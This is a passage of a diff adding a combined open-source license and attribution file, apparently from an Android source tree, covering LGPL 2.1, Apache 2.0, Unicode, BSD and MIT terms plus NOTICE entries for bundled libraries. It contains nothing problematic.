+    changes were used in the work (which must be distributed under
+    Sections 1 and 2 above); and, if the work is an executable linked
+    with the Library, with the complete machine-readable "work that
+    uses the Library", as object code and/or source code, so that the
+    user can modify the Library and then relink to produce a modified
+    executable containing the modified Library.  (It is understood
+    that the user who changes the contents of definitions files in the
+    Library will not necessarily be able to recompile the application
+    to use the modified definitions.)
+
+    b) Use a suitable shared library mechanism for linking with the
+    Library.  A suitable mechanism is one that (1) uses at run time a
+    copy of the library already present on the user's computer system,
+    rather than copying library functions into the executable, and (2)
+    will operate properly with a modified version of the library, if
+    the user installs one, as long as the modified version is
+    interface-compatible with the version that the work was made with.
+
+    c) Accompany the work with a written offer, valid for at
+    least three years, to give the same user the materials
+    specified in Subsection 6a, above, for a charge no more
+    than the cost of performing this distribution.
+
+    d) If distribution of the work is made by offering access to copy
+    from a designated place, offer equivalent access to copy the above
+    specified materials from the same place.
+
+    e) Verify that the user has already received a copy of these
+    materials or that you have already sent this user a copy.
+
+  For an executable, the required form of the "work that uses the
+Library" must include any data and utility programs needed for
+reproducing the executable from it.  However, as a special exception,
+the materials to be distributed need not include anything that is
+normally distributed (in either source or binary form) with the major
+components (compiler, kernel, and so on) of the operating system on
+which the executable runs, unless that component itself accompanies
+the executable.
+
+  It may happen that this requirement contradicts the license
+restrictions of other proprietary libraries that do not normally
+accompany the operating system.  Such a contradiction means you cannot
+use both them and the Library together in an executable that you
+distribute.
+
+  7. You may place library facilities that are a work based on the
+Library side-by-side in a single library together with other library
+facilities not covered by this License, and distribute such a combined
+library, provided that the separate distribution of the work based on
+the Library and of the other library facilities is otherwise
+permitted, and provided that you do these two things:
+
+    a) Accompany the combined library with a copy of the same work
+    based on the Library, uncombined with any other library
+    facilities.  This must be distributed under the terms of the
+    Sections above.
+
+    b) Give prominent notice with the combined library of the fact
+    that part of it is a work based on the Library, and explaining
+    where to find the accompanying uncombined form of the same work.
+
+  8. You may not copy, modify, sublicense, link with, or distribute
+the Library except as expressly provided under this License.  Any
+attempt otherwise to copy, modify, sublicense, link with, or
+distribute the Library is void, and will automatically terminate your
+rights under this License.  However, parties who have received copies,
+or rights, from you under this License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+  9. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Library or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Library (or any work based on the
+Library), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+  10. Each time you redistribute the Library (or any work based on the
+Library), the recipient automatically receives a license from the
+original licensor to copy, distribute, link with or modify the Library
+subject to these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties with
+this License.
+
+  11. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Library at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Library by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  12. If the distribution and/or use of the Library is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Library under this License may add
+an explicit geographical distribution limitation excluding those countries,
+so that distribution is permitted only in or among countries not thus
+excluded.  In such case, this License incorporates the limitation as if
+written in the body of this License.
+
+  13. The Free Software Foundation may publish revised and/or new
+versions of the Lesser General Public License from time to time.
+Such new versions will be similar in spirit to the present version,
+but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Library
+specifies a version number of this License which applies to it and
+"any later version", you have the option of following the terms and
+conditions either of that version or of any later version published by
+the Free Software Foundation.  If the Library does not specify a
+license version number, you may choose any version ever published by
+the Free Software Foundation.
+
+  14. If you wish to incorporate parts of the Library into other free
+programs whose distribution conditions are incompatible with these,
+write to the author to ask for permission.  For software which is
+copyrighted by the Free Software Foundation, write to the Free
+Software Foundation; we sometimes make exceptions for this.  Our
+decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+                NO WARRANTY
+
+  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
+LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGES.
+
+             END OF TERMS AND CONDITIONS
+
+           How to Apply These Terms to Your New Libraries
+
+  If you develop a new library, and you want it to be of the greatest
+possible use to the public, we recommend making it free software that
+everyone can redistribute and change.  You can do so by permitting
+redistribution under these terms (or, alternatively, under the terms of the
+ordinary General Public License).
+
+  To apply these terms, attach the following notices to the library.  It is
+safest to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least the
+"copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the library's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library; if not, write to the Free Software
+    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the library, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the
+  library `Frob' (a library for tweaking knobs) written by James Random Hacker.
+
+  <signature of Ty Coon>, 1 April 1990
+  Ty Coon, President of Vice
+
+That's all there is to it!
+
+
+
+--------------------------------------------------------------------------------
+trove_readme_license.txt:
+The Trove library is licensed under the Lesser GNU Public License,
+which is included with the distribution in a file called trove_license.txt.
+
+
+The PrimeFinder and HashFunctions classes in Trove are subject to the
+following license restrictions:
+
+Copyright (c) 1999 CERN - European Organization for Nuclear Research.
+
+Permission to use, copy, modify, distribute and sell this software and
+its documentation for any purpose is hereby granted without fee,
+provided that the above copyright notice appear in all copies and that
+both that copyright notice and this permission notice appear in
+supporting documentation. CERN makes no representations about the
+suitability of this software for any purpose. It is provided "as is"
+without expressed or implied warranty.
+
+
+
+--------------------------------------------------------------------------------
+
+======================================================================
+frameworks/av/NOTICE
+frameworks/native/NOTICE
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for the Android-specific code.                        ==
+   =========================================================================
+
+Android Code
+Copyright 2005-2008 The Android Open Source Project
+
+This product includes software developed as part of
+The Android Open Source Project (http://source.android.com).
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for Apache Commons code.                              ==
+   =========================================================================
+
+Apache Commons
+Copyright 1999-2006 The Apache Software Foundation
+
+This product includes software developed at
+The Apache Software Foundation (http://www.apache.org/).
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for Jakarta Commons Logging.                          ==
+   =========================================================================
+
+Jakarta Commons Logging (JCL)
+Copyright 2005,2006 The Apache Software Foundation.
+
+This product includes software developed at
+The Apache Software Foundation (http://www.apache.org/).
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for the Nuance code.                                  ==
+   =========================================================================
+
+These files are Copyright 2007 Nuance Communications, but released under
+the Apache2 License.
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for the Media Codecs code.                            ==
+   =========================================================================
+
+Media Codecs
+These files are Copyright 1998 - 2009 PacketVideo, but released under
+the Apache2 License.
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for the TagSoup code.                                 ==
+   =========================================================================
+
+This file is part of TagSoup and is Copyright 2002-2008 by John Cowan.
+
+TagSoup is licensed under the Apache License,
+Version 2.0.  You may obtain a copy of this license at
+http://www.apache.org/licenses/LICENSE-2.0 .  You may also have
+additional legal rights not granted by this license.
+
+TagSoup is distributed in the hope that it will be useful, but
+unless required by applicable law or agreed to in writing, TagSoup
+is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS
+OF ANY KIND, either express or implied; not even the implied warranty
+of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+   =========================================================================
+   ==  NOTICE file corresponding to the section 4 d of                    ==
+   ==  the Apache License, Version 2.0,                                   ==
+   ==  in this case for Additional Codecs code.                           ==
+   =========================================================================
+
+Additional Codecs
+These files are Copyright 2003-2010 VisualOn, but released under
+the Apache2 License.
+
+  =========================================================================
+  ==  NOTICE file corresponding to the section 4 d of                    ==
+  ==  the Apache License, Version 2.0,                                   ==
+  ==  in this case for the Audio Effects code.                           ==
+  =========================================================================
+
+Audio Effects
+These files are Copyright (C) 2004-2010 NXP Software and
+Copyright (C) 2010 The Android Open Source Project, but released under
+the Apache2 License.
+
+
+                               Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+
+
+UNICODE, INC. LICENSE AGREEMENT - DATA FILES AND SOFTWARE
+
+Unicode Data Files include all data files under the directories
+http://www.unicode.org/Public/, http://www.unicode.org/reports/,
+and http://www.unicode.org/cldr/data/ . Unicode Software includes any
+source code published in the Unicode Standard or under the directories
+http://www.unicode.org/Public/, http://www.unicode.org/reports/, and
+http://www.unicode.org/cldr/data/.
+
+NOTICE TO USER: Carefully read the following legal agreement. BY
+DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S DATA
+FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), YOU UNEQUIVOCALLY
+ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE TERMS AND CONDITIONS OF
+THIS AGREEMENT. IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY,
+DISTRIBUTE OR USE THE DATA FILES OR SOFTWARE.
+
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright © 1991-2008 Unicode, Inc. All rights reserved. Distributed
+under the Terms of Use in http://www.unicode.org/copyright.html.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of the Unicode data files and any associated documentation (the
+"Data Files") or Unicode software and any associated documentation (the
+"Software") to deal in the Data Files or Software without restriction,
+including without limitation the rights to use, copy, modify, merge,
+publish, distribute, and/or sell copies of the Data Files or Software,
+and to permit persons to whom the Data Files or Software are furnished to
+do so, provided that (a) the above copyright notice(s) and this permission
+notice appear with all copies of the Data Files or Software, (b) both the
+above copyright notice(s) and this permission notice appear in associated
+documentation, and (c) there is clear notice in each modified Data File
+or in the Software as well as in the documentation associated with the
+Data File(s) or Software that the data or software has been modified.
+
+THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF
+ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
+OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS
+INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT
+OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
+OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE
+OR PERFORMANCE OF THE DATA FILES OR SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder
+shall not be used in advertising or otherwise to promote the sale, use
+or other dealings in these Data Files or Software without prior written
+authorization of the copyright holder.
+
+======================================================================
+external/fmtlib/NOTICE
+
+Copyright (c) 2012 - 2016, Victor Zverovich
+
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+external/hamcrest/NOTICE
+
+BSD License

+

+Copyright (c) 2000-2006, www.hamcrest.org

+All rights reserved.

+

+Redistribution and use in source and binary forms, with or without

+modification, are permitted provided that the following conditions are met:

+

+Redistributions of source code must retain the above copyright notice, this list of

+conditions and the following disclaimer. Redistributions in binary form must reproduce

+the above copyright notice, this list of conditions and the following disclaimer in

+the documentation and/or other materials provided with the distribution.

+

+Neither the name of Hamcrest nor the names of its contributors may be used to endorse

+or promote products derived from this software without specific prior written

+permission.

+

+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY

+EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES

+OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT

+SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,

+INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED

+TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR

+BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN

+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY

+WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH

+DAMAGE.

+
+======================================================================
+external/arm-optimized-routines/LICENSE
+
+MIT License
+
+Copyright (c) 1999-2019, Arm Limited.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+======================================================================
+external/googletest/LICENSE
+
+Copyright 2008, Google Inc.
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+    * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+    * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+external/apache-commons-math/NOTICE
+
+Apache Commons Math
+Copyright 2001-2011 The Apache Software Foundation
+
+This product includes software developed by
+The Apache Software Foundation (http://www.apache.org/).
+
+===============================================================================
+
+The BracketFinder (package org.apache.commons.math.optimization.univariate)
+and PowellOptimizer (package org.apache.commons.math.optimization.general)
+classes are based on the Python code in module "optimize.py" (version 0.5)
+developed by Travis E. Oliphant for the SciPy library (http://www.scipy.org/)
+Copyright © 2003-2009 SciPy Developers.
+===============================================================================
+
+The LinearConstraint, LinearObjectiveFunction, LinearOptimizer,
+RelationShip, SimplexSolver and SimplexTableau classes in package
+org.apache.commons.math.optimization.linear include software developed by
+Benjamin McCann (http://www.benmccann.com) and distributed with
+the following copyright: Copyright 2009 Google Inc.
+===============================================================================
+
+This product includes software developed by the
+University of Chicago, as Operator of Argonne National
+Laboratory.
+The LevenbergMarquardtOptimizer class in package
+org.apache.commons.math.optimization.general includes software
+translated from the lmder, lmpar and qrsolv Fortran routines
+from the Minpack package
+Minpack Copyright Notice (1999) University of Chicago.  All rights reserved
+===============================================================================
+
+The GraggBulirschStoerIntegrator class in package
+org.apache.commons.math.ode.nonstiff includes software translated
+from the odex Fortran routine developed by E. Hairer and G. Wanner.
+Original source copyright:
+Copyright (c) 2004, Ernst Hairer
+===============================================================================
+
+The EigenDecompositionImpl class in package
+org.apache.commons.math.linear includes software translated
+from some LAPACK Fortran routines.  Original source copyright:
+Copyright (c) 1992-2008 The University of Tennessee.  All rights reserved.
+===============================================================================
+
+The MersenneTwister class in package org.apache.commons.math.random
+includes software translated from the 2002-01-26 version of
+the Mersenne-Twister generator written in C by Makoto Matsumoto and Takuji
+Nishimura. Original source copyright:
+Copyright (C) 1997 - 2002, Makoto Matsumoto and Takuji Nishimura,
+All rights reserved
+===============================================================================
+
+The complete text of licenses and disclaimers associated with the the original
+sources enumerated above at the time of code translation are in the LICENSE.txt
+file.
+
+======================================================================
+external/escapevelocity/NOTICE
+
+Apache Velocity
+
+Copyright (C) 2000-2007 The Apache Software Foundation
+
+This product includes software developed at
+The Apache Software Foundation (http://www.apache.org/).
+
+======================================================================
+external/cbor-java/LICENSE
+
+Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
